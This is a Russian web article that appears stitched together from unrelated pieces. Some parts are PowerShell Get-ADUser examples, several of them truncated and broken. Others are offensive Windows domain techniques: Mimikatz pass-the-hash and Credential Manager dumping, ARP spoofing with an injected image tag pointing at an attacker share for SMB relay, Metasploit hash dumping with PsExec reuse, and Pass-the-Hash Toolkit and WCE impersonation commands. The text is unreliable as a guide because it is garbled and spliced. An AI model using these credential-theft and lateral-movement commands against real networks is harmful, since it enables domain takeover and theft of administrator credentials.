Использование Get-ADUser с фильтрацией по атрибутам

Используя опцию -Filter, вы можете фильтровать список учётных записей пользователей по одному или нескольким атрибутам. В качестве аргументов этого параметра можно указать значение определённых атрибутов пользователей Active Directory. Если вы используете параметр -Filter, командлет Get-ADUser будет перечислять только тех пользователей, которые соответствуют критериям фильтра.

Например, я хочу перечислить активные (Enabled) учётные записи пользователей, имя которых содержит «Dmitry» (в приведённом ниже примере используется несколько фильтров; вы можете комбинировать условия, используя стандартные логические операторы сравнения PowerShell):

Кроме того, вы можете отсортировать полученный список пользователей по определённому атрибуту пользователя (столбцу) с помощью командлета Sort-Object. Вы также можете использовать командлет Where-Object для одновременного указания нескольких критериев фильтрации.

Таким образом, вы можете составить таблицу с любыми необходимыми атрибутами пользователей Active Directory.

Get-ADUser –Filter: Сортировка и фильтрация списка пользователей AD

С помощью параметра –Filter вы можете фильтровать список пользователей по одному или нескольким атрибутам. В качестве аргументов этого параметра можно указать значения определённых атрибутов пользователей Active Directory. При использовании параметра –Filter командлет Get-ADUser выведет только пользователей, которые соответствуют критериям фильтра.

Например, выведем список активных (Enabled) учётных записей пользователей, чье имя содержит «Dmitry» (в примере ниже используется множественный фильтр, вы можете комбинировать условия с помощью стандартных логических операторов сравнения PowerShell):

Get-AdUser -Filter “(Name -like ‘*Dmitry*’) -and (Enabled -eq ‘True’)” -Properties * |select name,enabled

Filter командлета Get-AdUser, множественная фильтрация

Дополнительно с помощью sort-object вы можете отсортировать полученный список пользователей по определенному атрибуту. Кроме того, для выборки пользователей можно использовать командлет where. Здесь также можно использовать сразу несколько критериев фильтрации.

Get-ADUser -filter * -properties PasswordExpired, PasswordLastSet, PasswordNeverExpires -SearchBase ‘OU=Moscow,DC=winitpro,DC=loc’| where | sort-object PasswordLastSet | select-object Name, PasswordExpired, PasswordLastSet, PasswordNeverExpires

Get-ADUser фильтр с помощью where-object

Таким образом, можно построить таблицу с любыми необходимыми атрибутами пользователей Active Directory.

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Выключаем кеширование хешей паролей

Как известно, Windows кеширует хеши паролей и логины доменных пользователей, что позволяет зайти на машину, если контроллер домена отключен и недоступен. Если пользователь вводит правильный логин и пароль, то при авторизации система сохраняет хеш пароля на диске. Как ты сам понимаешь, держать такие данные на диске — не самое лучшее решение с точки зрения безопасности, так что эту функцию лучше отключить. Для этого необходимо установить ключ HKEYLOCALMACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogoncachedlogonscount в значение «0». Затем надо перезагрузить компьютер, чтобы удалить все закешированные ранее пароли. С этого момента винда не будет кешировать пароли пользователей домена.

Get-ADUser: разные примеры использования

Далее приведем еще несколько полезных вариантов запросов о пользователях Active Directory с помощью различных фильтров. Вы можете их комбинировать для получения необходимого списка пользователей домена:

Вывод пользователей AD, имя которых начинается с Roman:

Чтобы подсчитать общее количество всех аккаунтов в Active Directory:

Список всех активных (не заблокированных) учетных записей в AD:

Get-ADUser -Filter | Select-Object SamAccountName,Name,Surname,GivenName | Format-Table

get-aduser -Filter * -Properties Name, WhenCreated | Select name, whenCreated

Вывести всех пользователей, которые были созданы за последние 24 часа (пример отсюда):

$lastday = ((Get-Date).AddDays(-1))
Get-ADUser -filter

Список учетных записей с истекшим сроком действия пароля (срок действия пароля настраивается в доменной политике):

Get-ADUser -filter -properties name,passwordExpired | where |select name,passwordexpired

Задача: для списка учетных записей, которые хранятся в текстовом файле (по одной учетной записи в строке), нужно получить телефон пользователя из AD и выгрузить информацию в текстовый csv файл (для дальнейшего формирования отчета в Exсel).

Import-Csv c:psusernsme_list.csv | ForEach Get-ADUser -identity $_.user -Properties Name, telephoneNumber |
Select Name, telephoneNumber |
Export-CSV c:psexport_ad_list.csv -Append -Encoding UTF8
>

Пользователи, которые не меняли свой пароль в течении последних 90 дней:

$90_Days = (Get-Date).adddays(-90)
Get-ADUser -filter

$user = Get-ADUser winadmin -Properties thumbnailPhoto
$user.thumbnailPhoto | Set-Content winadmin.jpg -Encoding byte

Список групп, в которых состоит учетная запись пользователя

Get-AdUser winadmin -Properties memberof | Select memberof -expandproperty memberof

Вывести список пользователей из OU, которые состоят в определенной группе безопасности:

Get-ADUser -SearchBase ‘OU=Moscow,DC=winitpro,DC=loc’ -Filter * -properties memberof | Where-Object

Вывести список компьютеров домена, на которые разрешено входить пользователю (ограничение через атрибут LogonWorkstations):

Get-ADUser AIvanov -Properties LogonWorkstations | Format-List Name, LogonWorkstations

Предыдущая статьяПредыдущая статья Следующая статья Следующая статья

Простые атаки или ARP-SPOOFING

Нельзя не упомянуть и про старый добрый ARP-SPOOFING в контексте захвата домена. Атака основана на флуде ARP-ответов для хостов “А” и “Б” с хоста “В”. Хосту “А” посылаются пакеты с утверждением, что IP-адрес “Б” принадлежит машине с маком “В”. Хосту “Б” посылаются пакеты с утверждением, что IP-адрес “А” принадлежит машине с маком “В”. Таким образом все пакеты идут на хост “В”, который их потом пересылает по назначению. Простое описание классической атаки “человек посередине”. Функционал полностью присутствует в Cain&Abel и Ettercap. В контексте предыдущих тем можно сделать такое западло: вычислить админа (трансфер зоны DNS), вычислить прокси-сервер или шлюз, устроить ARP-SPOOFING и добавить в HTML-код пакета ответа от сервера к админу (в случае, если админ пошел на какой-нибуть веб-сайт) строчку вида <img src=”https://xakep.ru/attackershara”> . То есть выполнить SMB-RELAY атаку. Для этого нужно помучаться с Ettercap, но можно поступить и проще – поднять у себя веб-сервер с SMB-RELAY модулем.

Но это еще не все. Однажды мы делали внутренний пентест небольшой сетки, где все патчено-перепатчено, и пароли были очень стойкие, а больше там ломать-то было и нечего. Так как сетка маленькая, то сервера и рабочки были в одном сегменте – радость для любого ARP-флудера. По ДНС был вычислен админ и сервер терминалов. Начался спуфинг, и тут выяснилось, что один из админов использует старую версию протокола RDP, а как немногим известно – протокол версии меньше, чем шестая, уязвим к атаке “человек посередине”. Таким образом, Cain расшифровал RDP-трафик админа на сервер терминала. А с помощью тулзы для парсинга логов Cain’а был получен пароль админа домена. Такие вот истории.

В чем смысл этой статьи? Что я хотел сказать? Ведь ничего нового раскрыто не было – эти атаки, уязвимости и фичи были известны давно (некоторые уже даже в течение десяти лет). Просто кое-что невозможно полностью исправить – ARPSPOOFING, SMB-RELAY, воровство Token’ов, HASH-and-PASS и так далее. Эти вещи заложены глубоко в архитектуру домена, ОС и сети, что делает любую ошибку на любом незначительном хосте опасной для всего домена.

Принцип “Компьютер – это сеть” работает вовсю. Потеряв один компьютер, с точки зрения безопасности мы можем потерять всю сеть. Было, конечно, не рассказано много чего еще: про парольные политики, сегментацию, настройку сетевого оборудования и прочее. Но я хотел обратить внимание на то, что любые вроде бы незначительные сервера и рабочки – значительны, что любые уязвимости, вроде трансфера зоны DNS – опасны.

Даже имя компьютера имеет свою цену с точки зрения безопасности. Я видел компании, где компьютеры операторов систем банк-клиент имели имена вида bankclient-1 и были они в домене, в том же сегменте сети. Пусть патченые, но ведь если я получу учетку домена (через другой хост, скажем, через принт-сервер), то потом вернусь на bankclient-1 и буду там хозяином. Так что наша с тобой задача – грамотно построить сеть и устранить в ней слабые звенья.

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

Как вы видите, сохраненый пароль показан в секции credman.

получаем сохраненные пароли Windows

Возможности Metasploit

Допустим теперь, что у нас нет физического доступа к компьютеру. Пусть вместо этого у нас имеется удаленный шелл и в идеале Meterpreter. В Metasploit Framework уже встроен функционал для извлечения списка пользователей и хешей паролей. Делается это в одну команду:

В результате мы получаем список пользователей и хешей. Но останавливаться на достигнутом не стоит. Metasploit — штука многофункциональная, поэтому можно попробовать использовать полученные хеши для доступа к другим компьютерам в сети жертвы — вдруг подойдут. Для этого пригодится модуль PsExec:

Как видишь, все происходит автоматически, без всяких сложностей. Чтобы дальше ковыряться с любыми файлами системы, полезно сразу поднять права. Получить их можно прямо из Метерпретера, в котором есть простая команда getsystem. Этот модуль попробует поднять права в ОС, используя уязвимости MS09-012, а также нашумевшую уязвимость MS10-015 (KiTrap0D) и не только.

Cain&Abel — еще одна замечательная тулза для брутфорса NTML хэшей (кроме этого поддерживает взлом хэшей большого количества других алгоритмов)

Cain&Abel — еще одна замечательная тулза для брутфорса NTML хэшей
(кроме этого поддерживает взлом хэшей большого количества других алгоритмов)

Техника Pass-the-Hash

В обеих реализациях протокола NTLM есть большая дырка. Для аутентификации достаточно знать только хеш пользователя, то есть даже брутить ничего не надо. Достал хеш — и можешь лазить по сетке с правами скомпрометированного юзера :). Соответствующий метод, который носит название Pass The Hash, разработан аж в 1997 году. Одной из его самых известных реализацией является набор утилит Pass-the-Hash Toolkit. В него входит три утилиты: IAM.EXE, WHOSTHERE.EXE и GENHASH.EXE. Как видно из названия, GENHASH предназначена для генерации LM- и NT-хешей переданного ей пароля. WHOSTHERE.EXE, выводит всю информацию о логин-сессиях, которую операционная система хранит в памяти. Тулза отображает информацию о пользователях, которые на данный момент залогинены в системе: имя юзера, домен/рабочую группу и NTLM-хеши пароля. Утилита IAM.EXE позволяет прикинуться другим пользователем при получении доступа к какой-либо папке на удаленной машине, подменяя данные текущего пользователя (логин, хеш пароля, домен и т. д.), когда они в закешированном виде отправляются удаленной системе, чтобы она могла идентифицировать пользователя и решить, предоставлять ли ему доступ к запрашиваемому ресурсу. После успешной подмены все сетевые соединения с удаленными серверами, осуществляющие аутентификацию с помощью NTLM-хешей, используют подмененные данные, что позволяет получить доступ к «чужой» шаре. Рассмотрим примерный сценарий использования:

whosthere.exe — получаем данные всех залогиненных пользователей; • iam.exe -h administrator:mydomain:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0— подменяем свои данные на данные другого пользователя.

Вот, собственно, и все, теперь мы имеем права для доступа к сетевым ресурсам другого пользователя.

Windows Credentials Editor

Подменяем свои данные на данные другого пользователя при помощи Windows Credentials Editor (WCE)

Подменяем свои данные на данные другого пользователя при помощи Windows Credentials Editor (WCE)

WCE представляет собой аналог Pass-the-Hash Toolkit’а, однако здесь весь функционал сосредоточен в одном исполняемом файле. Этот инструмент мне нравится больше. При запуске без параметров приложение возвращает список пользователей, залогиненных на данный момент в системе (утилита вытаскивает NTLM/LM-хеши из памяти):

После этого можно выбрать из них подходящего кандидата для наших черных дел и воспользоваться его данными. Допустим, нам нужно подменить свои данные на данные другого пользователя и запустить какую-нибудь программу якобы уже из-под него:

Тогда выполняем следующую команду:

Здесь «-s» «добавляет» нового пользователя с именем user и доменом Victim, за которыми следует LM- и NTLM-хеш, а «-с» указывает, какую программу следует запустить под этим пользователем. Как видишь, все довольно просто. ????

Заключение

Вот, собственно, и все. Мы рассмотрели все наиболее часто встречающиеся ситуации. На самом деле существует гораздо больше способов, позволяющих увести (например, с помощью снифера) и использовать хеши, но в большинстве своем они сводятся к рассмотренным выше методам.

Оцените статью
Рейтинг автора
4,8
Материал подготовил
Егор Новиков
Наш эксперт
Написано статей
127
А как считаете Вы?
Напишите в комментариях, что вы думаете – согласны
ли со статьей или есть что добавить?
Добавить комментарий